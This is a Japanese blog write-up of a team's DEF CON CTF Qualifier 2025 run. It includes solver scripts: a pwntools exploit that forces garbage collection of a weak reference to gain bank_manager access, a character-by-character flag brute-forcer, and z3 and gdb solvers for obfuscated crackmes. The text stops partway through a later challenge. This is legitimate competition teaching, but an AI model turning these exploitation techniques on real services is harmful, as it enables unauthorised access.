概要
- DEF CON CTF Qualifier 2025 で、Team Enu は 27 位の成績を収めました。
- 本記事では、チームの現地会場設営時の内容や、コンテストで出題された問題を解説します。
はじめに
こんにちは、研究開発部の末廣です。 CTF イベント DEF CON CTF Qualifier 2025
1 に、 NTT グループ有志と、募集2に応募いただいた学生の合同チーム Team Enu
3 として参加しました。今年のコンテスト開催期間は 2025/04/12 から 2025/04/14 の 48 時間と、新年度早々の時期でした。
結果、全 195 チーム中 27 位の成績を収めました。
当社エンジニアと学生CTFプレイヤーがNTTグループ有志とともに、Team Enuとして #DEFCON #CTF Qualifier 2025 に参加しました。
— エヌ・エフ・ラボラトリーズ (@NFLaboratories) April 14, 2025
2年ぶりに現地会場を設け、熱気あふれる環境で27位を獲得 📷
今後も挑戦と技術交流を続けていきます!https://t.co/G8UBmlln8l pic.twitter.com/6OLeG8d7qQ
- 概要
- はじめに
- 現地会場の様子
- 問題の出題形式
- 🐱💻🌐
- memorybank
- totem1
- LiveCTF 1: ROPably (rev)
- LiveCTF 3: N-Buns (rev/misc)
- LiveCTF 5: Multi-Level Model Marketing (misc/pwn)
- LiveCTF 6: No F In the Stack (pwn)
- おわりに
現地会場の様子
今回2年ぶりにチームで集まって取り組む場として、東京都内にあるワーキングスペースを確保しました。Team Enu の各メンバーは、その現地会場かオンライン経由かのどちらかで参加しました。現地会場の様子をお届けします。
問題の出題形式
オンライン開催の CTF でよくある Jeopardy 形式の問題に加えて、 DEF CON 定番となっている LiveCTF 形式の問題が今年も出題されました。各種形式の詳細を記述します。
- Jeopardy 形式
- コンテスト開始直後は 1 問のみが出題されていました。その中で
Hot challenge
扱いの問題が存在し、いずれかのチームが当該問題を解くと新たな問題が出題されました。- 最終的に Welcome 相当の問題含めて 26 問出題されました。
- なお、通常のCTFでは問題ごとにジャンルが記載されていることが多いです。 一方で DEF CON CTF Qualifier ではジャンル記載が無い年があります。
- 昨年では
Reversing
,Explitation
のジャンル表記がありました。 - 今年は Welcome 問題相当の 1 問の
Basics
と、それ以外の問題のQuals
という区別のみがなされていました。そのため各種問題を、ジャンルが分からない状態で取り組む必要がありました。
- 昨年では
- コンテスト開始直後は 1 問のみが出題されていました。その中で
- LiveCTF 形式
コンテスト終了後に問題内容等が、 Jeopardy 形式6と LiveCTF 形式7ともに、 GitHub で公開されました。 LiveCTF 側のリポジトリは、正解したチームの提出内容も含まれます。
🐱💻🌐
絵文字のみの問題名です。また、コンテスト開始直後は本問題のみが公開されており、全体を通して本問題のみが Basics
ジャンル表記です。一般的な CTF では、いわゆる Welcome 問題に該当する問題と思われます。
本問題では、次の内容のみが与えられます。
$ export INPUT="____ ___ _______" # some string goes here $ "${@#IV}" ''p''"${@,,}"rintf %s "$( Ax=' '"'"'E'"'"'"V"A"L" "$( ${@,} P"R"I'"'"''"'"'\NTF %S '"'"'23- C- TUC | MUS5DM | tupni$ OHCE ;ENOD ;LLUN/VED/> MUS5DM | tupni$ OHCE ;I$ PEELS OD ;)0001 1 QES($ NI I ROF'"'"' ${*##.}|${@%;} RE${@}V${*%%O1} ${@%\`} )" '$* &&${@/-_/\{}p$'\162i'${*##E}n${*%%B*}tf %s "${Ax~~}" $@ ; ${!*} )" "$@" | b"a"sh ${*//c} Remember the flag format. Please put the output within flag{} before submission.
シェルスクリプトらしい内容です。2行目の難読化された内容を部分的に評価して確かめていきました。どうやら bash
コマンドで実行すると、最終的に echo $INPUT | md5sum | cut -c -32
を実行する内容のようです。しかし $INPUT
の MD5 ハッシュ値を出力するのみであり、ハッシュ値の比較等が一切ありません。
私が悩んでいると、チームメンバーの「問題名の絵文字に意味がある?」という考察から「もしかしたらHack the Planetかも?」という案が出ました。最終的にチームメンバーが次のコードを使って正解しました。
#!/bin/bash INPUT="Hack the planet!" echo "$INPUT" | md5sum | cut -c -32
上記スクリプト実行結果の af6f4f9d82898e44628ef8740a707db2
を問題文記載のようにフラグ形式とした flag{af6f4f9d82898e44628ef8740a707db2}
が正解のフラグのようです。
なお Hack the Planet
とは、 DEFCON CTF でのボーナス問題として何度も出題されたキーワードとのことです8。
memorybank
コンテスト開始から 2 番目に出題された問題です。以降は本問題を含めた Quals
ジャンルか、時間帯が指定されている LiveCTF
ジャンルかのどちらの表記です。なお Quals
ジャンルの問題ではおそらく全問題で Web サイトの URL が記述されていますが、どうやらすべて雰囲気づくり専用の Web サイトのようであり、問題の本質とは全くの無関係である模様です。
本問題では URL とは別に nc
コマンドを使う接続先や、配布ファイルも与えられます。 nc
コマンドで接続すると、配布ファイル同様の環境がリモート環境で起動しました。配布ファイルを調査してフラグが手に入る条件を調べて、リモート環境で実際のフラグを得る流れです。なお、本問題は ATM を模した AA が表示されます。また、実際の実行時は各種文字や線に色がついています。
╔══════════════════════════════════════════════════════╗ ║ ╔═╗╔╦╗╔╦╗ ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗ ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗ ║ ║ ╠═╣ ║ ║║║──║║║╠═╣║ ╠═╣║║║║║╣ ──║║║╠═╣║ ╠═╣║║║║║╣ ║ ║ ╩ ╩ ╩ ╩ ╩ ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝ ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝ ║ ║ ║ ║ ┌─────────────────────┐ ║ ║ │ MEMORY BANK │ ║ ║ └─────────────────────┘ ║ ║ ║ ║ ┌─────┬─────┬─────┐ ║ ║ │ 1 │ 2 │ 3 │ ║ ║ ├─────┼─────┼─────┤ ║ ║ │ 4 │ 5 │ 6 │ ║ ║ ├─────┼─────┼─────┤ ║ ║ │ 7 │ 8 │ 9 │ ║ ║ ├─────┼─────┼─────┤ ║ ║ │ * │ 0 │ # │ ║ ║ └─────┴─────┴─────┘ ║ ║ ║ ║ ╔══════════════════╗ ║ ║ ║ INSERT CARD HERE ║ ║ ║ ╚══════════════════╝ ║ ║ ║ ║ ┌─────────────────┐ ║ ║ │ CASH DISPENSER │ ║ ║ └─────────────────┘ ║ ╚══════════════════════════════════════════════════════╝ ╔══════════════════════════════════════════════════════╗ ║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓ ║ ║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░ ║ ║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ║ ╚══════════════════════════════════════════════════════╝ Welcome to the Memory Banking System! Loading... ╔══════════════════════════════════════════════════════╗ ║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ║ ║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░ ║ ║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓ ║ ╚══════════════════════════════════════════════════════╝ You have 20 seconds to complete your transaction before the bank closes for the day. Please register with a username (or type 'exit' to quit):
配布ファイルを調査すると、次の流れと判明しました。
run_challenge.sh
がエントリーポイントです。ulimit -m 22400
を実行して、利用できるメモリを 22400 [KiB] 、つまり約 22 [MiB] へ設定します。timeout 20s deno run --allow-read index.js
を実行してindex.js
を20秒制限で実行します。- なお、配布ファイルには
Dockerfile
が含まれており、競技参加者が各自のローカル環境で動作検証できる準備が整えられていました。しかしtimeout
コマンドは標準入力の扱いを変更するようで、docker run -it ビルド結果イメージ名
実行では標準入力をindex.js
へ与えられない模様です。 - ローカル環境で適切に動作検証するためには、次のいずれかが必要でした。
- 方法 1:
run_challenge.sh
実行内容からtimeout
コマンドを除去してdeno run
を直接実行 - 方法 2:
timeout
コマンドに--foreground
オプションを追加 - 方法 3:
cat | docker run -i ビルド結果イメージ名
と、パイプ越しに入力を付与
- 方法 1:
- なお、配布ファイルには
index.js
は次の機能を持ちます。- 初期状態として
bank_manager
ユーザーを登録します。 - 競技者から、ログインするユーザー名の入力を得ます。
- このとき、存在するユーザー名ではログインできません
- 競技者から、次の 6 種類のいずれかのコマンドを得ます。
- コマンド 1: 残高確認。
- コマンド 2: 指定金額を引き出し。
- コマンド 3: 署名を設定。設定した署名は残口引き出し時に使われます。
- コマンド 4: ログアウト。この後はログインするユーザー名の入力に戻ります。
- コマンド 5: 終了。
- コマンド 6: 隠しコマンド。
bank_manager
ユーザーでログインしている場合はフラグを得られます。
- 初期状態として
全体として、初期状態として登録された bank_manager
ユーザーを何とかして消去して、競技者自身が bank_manager
としてログインする必要がある問題です。ここでユーザー管理方法を確認すると、次のコードのように WeakRef
9 を使った弱参照が用いられていることが分かります。
class UserRegistry { constructor() { this.users = []; } addUser(user) { this.users.push(new WeakRef(user)); } getUserByUsername(username) { for (let user of this.users) { user = user.deref(); if (!user) continue; if (user.username === username) { return user; } } return null; } *[Symbol.iterator]() { for (const weakRef of this.users) { const user = weakRef.deref(); if (user) yield user; } } }
また、チームメンバーがコマンド 2 の指定金額引き出し処理に不審な点を発見しました。
const denomStr = promptSync("Enter bill denomination: "); const denomination = parseFloat(denomStr); if (denomination <=0 || isNaN(denomination) || denomination > amount) { console.log(`${MAGENTA}Invalid denomination: ${denomination}${RESET}`); continue; } const numBills = amount / denomination; const bills = []; for (let i = 0; i < numBills; i++) { bills.push(new Bill(denomination, currentUser.signature || 'VOID')); }
ここで denomination
変数は parseFloat
関数により変換されているため、例えば 0.001
等の小さな値を取得できます。そうすると numBills = amount / denomination
の数値を大きくできて for
ループ回数を増加できるため、 new Bill
を大量に実行させられます。大量の new Bill
実行によりメモリ使用量を増加させることで Garbage Collection を発動させて、前述したユーザー管理の弱参照を回収させられると予想しました。
手元の Docker ローカル環境で実験すると、次の手順でフラグファイルを読めることを確認しました。
- コマンド 2 で
amount
として100
、denomination
として0.00005
を指定する引き出し処理を実行。これにより弱参照を回収させます。 - コマンド 4 でログアウト。
bank_manager
としてログイン。- コマンド 6 でフラグを取得。
しかし上記手順を問題文記載のリモート環境で試すと /app/run_challenge.sh: line 5: 8 Killed timeout -k 10 --foreground -s SIGKILL 20s deno run --v8-flags=--trace-gc --allow-read index.js
で終了しました。配布されている run_challenge.sh
とは timeout
コマンドのオプションが異なることもあり、環境が異なるようです。そのため Garbage Collection の発動タイミングが異なる模様です。
ローカル環境では成功するにもかかわらずリモート環境では失敗する状況に気落ちしながら試行錯誤していると、チームメンバーがリモート環境でのフラグ取得に成功しました!コマンド 2 で指定する denomination
は 0.05
に抑えつつ、事前にコマンド 3 の署名処理で b"A"*1024*1023
の 1047552
文字を設定すると、成功したとのことです。
#!/usr/bin/env python3 import typing import pwn # pwn.context.log_level = "DEBUG" # pwn.context.timeout = 5.0 TEAM_TICKET = "実際はリモート接続時にチームごとのチケット文字列を入力する必要があります" def try_one(io_factory: typing.Callable[[], pwn.tube], denomination: float): with io_factory() as io: io.recvuntil(b"Welcome to the Memory Banking System! Loading...") def SENDLINEAFTER(delim: bytes, data: bytes): print(io.sendlineafter(delim, data).decode(), flush=True) print(data.decode(), flush=True) # login as random SENDLINEAFTER(b"Please register with a username", b"random") # Setting signature SENDLINEAFTER(b"Choose an operation", b"3") SENDLINEAFTER(b"Enter your signature", b"A"*1024*1023) # I want to cause GC SENDLINEAFTER(b"Choose an operation", b"2") SENDLINEAFTER(b"Enter amount to withdraw:", b"100") #SENDLINEAFTER(b"Enter bill denomination", f"{denomination:.9f}".encode()) SENDLINEAFTER(b"Enter bill denomination", b"0.05") # logout SENDLINEAFTER(b"Choose an operation", b"4") # login SENDLINEAFTER(b"Please register with a username", b"bank_manager") # SENDLINEAFTER(b"Choose an operation", b"6") io.recvuntil(b"(or type 'exit' to quit):") # print(io.recvline().decode()) # print(io.clean().decode()) # Docker実行ではbank_managerになれているので6で/flagを読める io.interactive(prompt="") def solve(io_factory: typing.Callable[[], pwn.tube]): # 結局二分探索せずに、この数値を手動でいじっていました lower = 0.0001 upper = 0.0000000000001 mid = (lower + upper) / 2 # mid = 0.1 try_one(io_factory, mid) # while True: # mid = (lower + upper) / 2 # # mid = 0.1 # try_one(io_factory, mid) # match input("OK? 1: crash, 2: NOT crash, 3: retry"): # case "1": # upper = mid # case "2": # lower = mid def create_nc_connection(): io = pwn.remote("memorybank-tlc4zml47uyjm.shellweplayaga.me", 9005) io.sendlineafter(b"Ticket please:", TEAM_TICKET) return io def create_docker_connection(): io = pwn.process(["docker", "run", "--rm", "-i", "defcon2025/memorybank"]) return io #solve(create_docker_connection) solve(create_nc_connection)
totem1
amd64 ELF バイナリのフラグチェッカー問題です。バイナリ中に goroutine
等の文字列が存在することから Go 言語製のバイナリのようです。シンボル情報は削除済みです。
実行すると文字列を入力できて、正誤判定結果を Sorry, that's not right.
のように出力する機能を持つバイナリです。バイナリを解析すると、どうやら独自 VM で処理を実行しているらしいことが分かります。文字列の入力や判定結果の出力すらも VM 内部で行っているようです。
デバッガーを使って VM が処理する命令を調べているうちに、重大な事実に気づきます。どうやら入力した範囲がすべて正解なら、正解時の出力を出してくれるようです。
$ ./totem1-uploadme Enter the flag: f Correct! You found the flag! $ ./totem1-uploadme Enter the flag: fl Correct! You found the flag! $ ./totem1-uploadme Enter the flag: f@ Sorry, that's not right.
つまり、正解となるフラグを先頭から 1 文字ずつ特定できるようです。この情報をチームに共有すると、チームメンバーがものの数分で正解してくれました!
import string from pwn import process,context letters='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' s="" context.log_level="error" for i in range(30): for j in letters: sock=process("./totem1-uploadme") sock.sendline((s+j).encode()) if b"Correct" in sock.recvline(): s+=j sock.kill() break sock.kill() print(s)
実行すると、フラグが flag{d0nt_Th1nk-0f-3l3ph4ntz}
と分かります。
LiveCTF 1: ROPably (rev)
本問題は次の形式の問題です。
- amd64 ELF の、入力の正誤判定する機能を持つバイナリが与えられます。ただし後述の難読化が施されています。
- 配布ファイルとして、サンプル用のバイナリが 20 個与えられます。
- なお、本問題用ライブストリームの 4:23 頃の発言10によると、ソルバー提出先であるリモート環境では 200 個程度のバイナリが用意されていたようです。
- ソルバーを提出すると、リモート環境で合計 20 個のバイナリが与えられます。それぞれバイナリが与えられてから 10 秒以内に、正解となる入力を導出する必要があります。
与えられるバイナリは、まず入力を読み込み、読み込み結果が 16 文字であることを検証します。その後、次の本問題固有の処理を行います。例示として、配布ファイルの1つである challenge_0
の内容を記述します。
call
で呼び出される関数で、スタックポインターを差し替えつつ retn
します。
sub_131A proc near ; CODE XREF: sub_11E9+B5↑p lea rbx, off_4010 xchg rsp, rbx retn sub_131A endp
off_4010
は次の内容で、関数ポインターのテーブルです。つまり、上の sub_131A
関数は、関数テーブル先頭の sub_1686
関数へリターンすることになります。
off_4010 dq offset sub_1686 ; DATA XREF: sub_131A↑o dq offset sub_14B3 dq offset sub_142C dq offset sub_1726 dq offset sub_147C ...(snip)...
sub_1686
関数含めて、テーブルに含まれる関数は次のように、先頭の xchg rsp, rbx
で本来のスタックポインターを復元して、フラグ判定処理の一部を行い、最後に改めて xchg rsp, rbx
および retn
することで関数ポインターテーブルの続きの要素を実行しています。問題名の通り、バイナリ自身で ROP (Return Oriented Programming) しています。
sub_1686 proc near ; DATA XREF: .data:off_4010↓o xchg rsp, rbx endbr64 push rbp mov rbp, rsp mov [rbp-18h], rdi mov dword ptr [rbp-4], 1 xchg rsp, rbx retn sub_1686 endp ; sp-analysis failed
関数ポインターテーブル最後の要素である関数では、次のように本来のスタックポインターを使って retn
します。
sub_15CE proc near ; DATA XREF: .data:00000000000041C0↓o xchg rsp, rbx mov eax, [rbp-4] pop rbp retn sub_15CE endp ; sp-analysis failed
つまり、大本は1つの関数で行っていたであろう入力内容の検証処理が、複数の関数へ分割して実行されます。
チームメンバーと協力して、実際に行われている処理を解析していきました。 ROP を解除して本来行われる処理順序を復元すると、次のような処理と分かりました。
mov rax,QWORD PTR [rbp-0x18] add rax,0xf movzx edx,BYTE PTR [rax] mov rax,QWORD PTR [rbp-0x18] add rax,0x5 movzx eax,BYTE PTR [rax] xor eax,edx movsx eax,al movzx eax,ax cmp eax,0x1f sete al movzx eax,al and DWORD PTR [rbp-0x4],eax
ここで DWORD PTR [rbp-0x4]
には正解状態かを表す数値フラグがあります。その内容が最後まで 1
であり続けると正解になります。また QWORD PTR [rbp-0x18]
には入力文字列の先頭アドレスが格納されています。
処理全体として、上記のような入力中の 2 要素を使って検証する処理が多数含まれています。各種検証をすべて突破すると、正解となる入力として扱われます。 また、検証処理を細分化すると次の処理の繰り返しであることが分かりました。
edx
レジスタに 1 要素目を格納します。mov rax,QWORD PTR [rbp-0x18]
のように、入力文字列先頭アドレスをロードします。add rax,0xf
等でアドレスを調整して「 N 文字目」を表現します。- なお 0 文字目を扱う場合は、本処理はありません。
movzx edx,BYTE PTR [rax]
のように、入力文字列の N 文字目をロードします。
eax
レジスタに 2 要素目を格納します。edx
レジスタ側と同様です。
edx
,eax
レジスタを使って計算します。計算種類は次の4種類あります。add eax,edx
の和sub edx,eax
の差- 本計算の場合は、次に
movzx eax,dx
を実行することで計算結果をeax
レジスタへ格納し直します。
- 本計算の場合は、次に
imul eax,edx
の積xor eax,edx
のXOR
- 計算結果を検証します。検証方法は次の2種類あります。
cmp eax,0x1f
等の、計算結果が 0 以外の特定の数値であることを検証する処理test eax, eax
の、計算結果が 0 であることを検証する処理
- 検証結果を
sete al
やmovzx eax,al
,and DWORD PTR [rbp-0x4],eax
で蓄積します。
最終的に次の処理を行うソルバーを作成、提出しました。
- (これまで説明していませんでしたが)リモート環境からバイナリを受信して、ローカルへ保存する処理。
- 上で記述した解析結果から、正解となる入力を自動的に計算する処理。
- 与えられたバイナリの
0x3008
バイト目以降の、実行時は仮想アドレス0x4010
になる箇所から関数ポインターテーブル内容を抽出。 - 各種関数ポインター内容を間接参照して、各種関数の処理内容を抽出。
- 抽出内容のうち
xchg rsp, rbx
である48 87 E3
以降を抽出し、各種関数の本質的な処理内容のバイト列を抽出。 pwntools
ライブラリのdisasm
関数を使って、抽出したバイト列を逆アセンブル。- 逆アセンブル内容を文字列処理しながら、
z3-solver
ライブラリを使って条件を満たす入力を計算。
- 与えられたバイナリの
ソルバー作成時には配布された 20 バイナリが役立ちました。全バイナリで正解入力を自動計算できることを確認してから、自信を持ってソルバーを提出できました。当該ソルバーを以下に記載します。
#!/usr/bin/env python3 import base64 import secrets import subprocess import time import z3 from pwn import * context.log_level = "INFO" context.arch = "amd64" HOST = os.environ.get("HOST", "localhost") PORT = 31337 def enumerate_rop_blocks(elf_name: str): with open(elf_name, "rb") as f: bin = f.read() ind = 0x3008 assert bin[ind : ind + 8] == b"\x08\x40\x00\x00\x00\x00\x00\x00" ind += 8 insns = b"" # print(f"\n\n=== challenge_{challind}\n") while True: addr = u64(bin[ind : ind + 8]) if not (0x1300 < addr < 0x2000): break instr = bin[addr:] assert instr[:3] == b"\x48\x87\xe3" block = instr[3 : instr.index(b"\x48\x87\xe3\xc3")] insns += block ind += 8 # print(insns.hex()) assert ( insns[:0x13] == b"\xf3\x0f\x1e\xfaUH\x89\xe5H\x89}\xe8\xc7E\xfc\x01\x00\x00\x00" ) insns = insns[0x13:] while True: ind = insns.find(b"\x21\x45\xfc") if ind == -1: break cur = insns[: ind + 3] # print(cur.hex()) # print(disasm(cur)) # print(len(cur)) yield cur insns = insns[ind + 3 :] # print(insns.hex()) def solve_one(elf_name: str) -> str: # TODO: 正解となる入力を返す solver = z3.Solver() answer_list = [z3.BitVec(f"answer_{i:02d}", 8) for i in range(16)] for answer in answer_list: # solver.add(answer >= 0x21, answer < 0x7F) solver.add( z3.Or( z3.And(ord("0") <= answer, answer <= ord("9")), z3.And(ord("a") <= answer, answer <= ord("z")), z3.And(ord("A") <= answer, answer <= ord("Z")), ) ) block_index = 0 answer_index: int | None = None eax_index = None edx_index = None operator = None cmp_target = 0 for rop_block in enumerate_rop_blocks(elf_name): disassembled = disasm(rop_block) for line in disassembled.splitlines(): # print(f"{line = }") def match(code: str): return code in line if match("imul eax, edx"): operator = "*" elif match("add eax, edx"): operator = "+" elif match("sub edx, eax"): operator = "-" elif match("xor eax, edx"): operator = "^" elif match("mov rax, QWORD PTR [rbp-0x18]"): answer_index = 0 elif match("add rax, "): # add rax, 0x6 等 answer_index = int(line.split(",")[1], 0) elif match("movsx eax, al"): assert answer_index is not None eax_index = answer_index elif match("movsx edx, al") or match("movzx edx, BYTE PTR [rax]"): assert answer_index is not None edx_index = answer_index elif match("cmp eax, "): # 直後に「sete al」が続く cmp_target = int(line.split(",")[1], 0) elif match("test eax, eax"): # 直後に「sete al」が続く cmp_target = 0 elif match("sete al"): # 毎回最後にあるはず assert edx_index is not None assert eax_index is not None assert cmp_target is not None assert operator is not None match operator: case "+": solver.add( answer_list[edx_index] + answer_list[eax_index] == cmp_target ) case "-": solver.add( answer_list[edx_index] - answer_list[eax_index] == cmp_target ) case "*": solver.add( answer_list[edx_index] * answer_list[eax_index] == cmp_target ) case "^": solver.add( answer_list[edx_index] ^ answer_list[eax_index] == cmp_target ) edx_index = None eax_index = None cmp_target = None operator = None answer_index = None else: pass # 他にもいろいろあるので if solver.check() != z3.sat: raise Exception("Can not find answer") model = solver.model() return "".join(chr(model[answer].as_long()) for answer in answer_list) def local_test(): for i in range(20): time_before = time.time() challenge_path = f"../handout/samples/challenge_{i}" user_password = solve_one(challenge_path) p = subprocess.run( [challenge_path], input=user_password.encode(), stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, ) challenge_output = p.stdout correct_password = challenge_output.decode().strip() == "Yes" time_after = time.time() print(f"challenge {i} : {user_password} for {time_after - time_before}") assert correct_password # local_test() # exit(0) io = remote(HOST, int(PORT)) NUM_ROUNDS = 20 ROUND_TIMEOUT = 10.0 for round in range(NUM_ROUNDS): io.recvuntil(b"Crackme: ") received_line = io.recvline() # print(f"{received_line = }") elf_bytes = base64.b64decode(received_line) elf_name = secrets.token_hex(16) with open(elf_name, "wb") as fout: fout.write(elf_bytes) user_password = solve_one(elf_name) io.sendlineafter(b"Password", user_password.encode()) io.interactive() # 最後のフラグを表示させる
LiveCTF 3: N-Buns (rev/misc)
本問題は次の形式の問題です。
- amd64 ELF バイナリが与えられます。しかし入出力等は何も行いません。詳細は後述します。
- 配布ファイルとして、サンプル用のバイナリが 1 個だけ与えられます。
- 本問題では別途
passwords
が提供されており、サンプル用バイナリのパスワードはPASS{PLACEHOLDER}
らしいことが推察できました。
- 本問題では別途
- ソルバーを提出すると、リモート環境で合計 10 個のバイナリが与えられます。それぞれバイナリが与えられてから 10 秒以内に、
Watchme
結果のパスワードを導出する必要があります。
問題文によると Some functions have non-random names, use those names in call order to get the password.
とのことです。しかしサンプルとして与えられるバイナリが 1個 のみであるため、例えば「複数のバイナリすべてに存在する関数名を抽出」等はできません。バイナリを解析していくと、次の事が分かります。
- 入出力を一切行いません。 glibc からの C 標準ライブラリのインポートはありませんし、
syscall
命令もありません。 main
関数ではコマンドライン引数を使いません。また、戻り値は 0 固定です。そのため「コマンドライン引数を元に何らかの処理を行い、処理結果でプロセスの終了コードが変わる」でもありません。strace
コマンドで実行しても、特別なものは一切見当たりません。- 約 10000 要素の関数ポインターのテーブルがあります。どうやら含まれる関数は、テーブルの関数を何個か呼び出すか、何もしないかの 2 種類のようです。全体として何もしません。
main
関数からはfunc_kpYULWNtwa(218)
のように固定引数で関数を呼び出します。- テーブル中の他の関数を 3 個呼び出す関数の例です。
__int64 __fastcall func_MLBjtfRDaR(int a1) { (ftable[14 * (a1 ^ 7) - 11026961])(967984LL); (ftable[((14 * (a1 ^ 7) - 11026975) ^ 0x40) - 1930])(946612LL); return (ftable[(-88 * (((14 * (a1 ^ 7) - 31) ^ 0x40) + 118)) + 7327])(831756LL); }
- シンボル情報があるため関数名が残っています。次のようにランダムな関数名に見えました。
あまりにも何も分からないため「リモート環境から受信する ELF のシンボル内容をダンプするソルバー」を提出しましたが、何らかの理由により何も得られませんでした。
悩みつつ試行錯誤を繰り返していると、何もしない関数の中に func_AAAAAAAAAA
関数が存在することに気付きました。どうやら 1 文字繰り返しの関数が、問題文にある Some functions have non-random names
に該当するようです。実際に試すと、次の gdb 自動化手順でサンプル用バイナリのパスワードが分かりました。
$ cat a.txt dprintf func_PPPPPPPPPP, "P" dprintf func_EEEEEEEEEE, "E" dprintf func_AAAAAAAAAA, "A" dprintf func_SSSSSSSSSS, "S" dprintf func_RRRRRRRRRR, "R" dprintf func_LLLLLLLLLL, "L" dprintf func_OOOOOOOOOO, "O" dprintf func_CCCCCCCCCC, "C" dprintf func_HHHHHHHHHH, "H" dprintf func_DDDDDDDDDD, "D" run quit $ gdb -q --nx -x ./a.txt ./challenge_0 Reading symbols from ./challenge_0... (No debugging symbols found in ./challenge_0) Dprintf 1 at 0x4ec43 Dprintf 2 at 0x7bb39 Dprintf 3 at 0x837c2 Dprintf 4 at 0x8489e Dprintf 5 at 0x862ee Dprintf 6 at 0xa38a0 Dprintf 7 at 0xb00f2 Dprintf 8 at 0xc4a76 Dprintf 9 at 0xd3203 Dprintf 10 at 0xe1f42 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". PASSPLACEHOLDER[Inferior 1 (process 114772) exited normally]
PASSPLACEHOLDER
を得られています。ただし passwords
に含まれるファイルは PASS{PLACEHOLDER}
と波括弧付きという違いがあります。波括弧に対応する関数名が存在するか分からなかったため、最終的に「4文字目直後に開き波括弧を、最後に閉じ波括弧を挿入」としました。
さて、手動で実行した上記内容のように func_{英大文字の10文字繰り返し}
へブレークポイントを仕掛けて自動実行するソルバーを提出してみると、 PASS
のみヒットする結果が得られました。散々悩みながら、英小文字への対応、 10 文字繰り返しのみならず 1 ~ 128 文字繰り返しの対応、 ASCII ほぼ全種類対応と変更していきました。最終的にリモート環境では func_{英大文字、英小文字、数字いずれかの10文字繰り返し}
形式の関数名が使われていることが分かり、何とか正解できました。
ソルバーを以下に記載します。
gdb-script.py
です。ブレークポイントを設置します。それぞれのブレークポイントのヒット時には、関数名に対応する 1 文字を別ファイルへ書き込みます。
import gdb # Make breakpoint pending on future shared library load? gdb.execute("set breakpoint pending on") # Type <RET> for more, q to quit, c to continue without paging gdb.execute("set pagination off") gdb.execute("starti") for j in range(1, 100): for c in range(0x21, 0x7F): func_name = "func_" + (chr(c) * j) gdb.execute(f"b {func_name}") # func_name = "func_" + ("_" * j) # func_name = "func_" + ("-" * j) # func_name = "func_" + ("{" * j) # func_name = "func_" + ("}" * j) # for i in range(26): # func_name = "func_" + (chr(ord("A") + i) * j) # gdb.execute(f"b {func_name}") # func_name = "func_" + (chr(ord("a") + i) * j) # gdb.execute(f"b {func_name}") with open("result.txt", "w") as f_out: while True: gdb.execute("continue") inferior = gdb.selected_inferior() if not inferior.is_valid() or inferior.pid == 0: break line = gdb.execute("x/1i $rip", to_string=True) func_name = line.split("<")[1].split(">")[0] if "+" in func_name: func_name = func_name.split("+")[0] print(func_name[5]) f_out.write(func_name[5]) gdb.execute("quit")
- ソルバーです。上記
gdb-script.py
を使って、パスワードを取得します。
#!/usr/bin/env python3 import os import secrets import subprocess from pwn import * context.log_level = "CRITICAL" def solve_one(elf_name: str) -> str: completed_process = subprocess.run( ["gdb", "--nx", "-x", "./gdb-script.py", elf_name], capture_output=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) if completed_process.returncode != 0: print("Failed!") print(f"{completed_process.stdout = }") print(f"{completed_process.stderr = }") with open("result.txt") as f: content = f.read().strip() print(f"{content = }") # return content return content[:4] + "{" + content[4:] + "}" # return "PASS{" + content + "}" HOST = os.environ.get("HOST", "localhost") PORT = 31337 io = remote(HOST, int(PORT)) NUM_ROUNDS = 10 # ローカル実行時は1にする ROUND_TIMEOUT = 10.0 for round in range(NUM_ROUNDS): io.recvuntil(b"Watchme: ") received_line = io.recvline() # print(f"{received_line = }") elf_bytes = base64.b64decode(received_line) elf_name = secrets.token_hex(16) with open(elf_name, "wb") as fout: fout.write(elf_bytes) subprocess.run(["chmod", "777", elf_name], capture_output=True, text=True) user_password = solve_one(elf_name) print(f"{user_password = }") io.sendlineafter(b"Password", user_password.encode()) io.interactive() # 最後のフラグを表示させる
LiveCTF 5: Multi-Level Model Marketing (misc/pwn)
本問題は次の形式です。
- pwn ジャンルであるため、任意コード実行を通じて
./submitter
プログラムを実行する必要があります。 - amd64 ELF バイナリがリモート環境で動作しています。なお、後述する感情計算には別ファイルの Python コードを実行します。
- バイナリ内容は CUI 形式のゲームのようなものです。バイナリ解析で判明した内容は次のものです。
- Agent を雇い、 Product を購入し、 Campaign を打って収益を得ます。
- Campaign にはキーワードを最大 5 個設定できます。設定したキーワードを元に、何らかの学習結果モデル
SentimentIntensityAnalyzer
が感情を計算し、計算結果に応じた利益が得られます。 - 10日 以内に所持金を 50000 以上にすると、スコアを登録できます。
- 本 LiveCTF 開始から約 90 分後に公式からアナウンスがなされました。「ソルバー提出時を含むオフライン環境において欠陥が見つかりましたが、 solvable でありかつ正解チームが実際出ているため、このまま続行する」旨とのことです。実際、オフライン環境では肝心の
SentimentIntensityAnalyzer
による感情スコア計算時にModuleNotFoundError
が発生しており、 Campaign の利益が 0 固定になるようです。
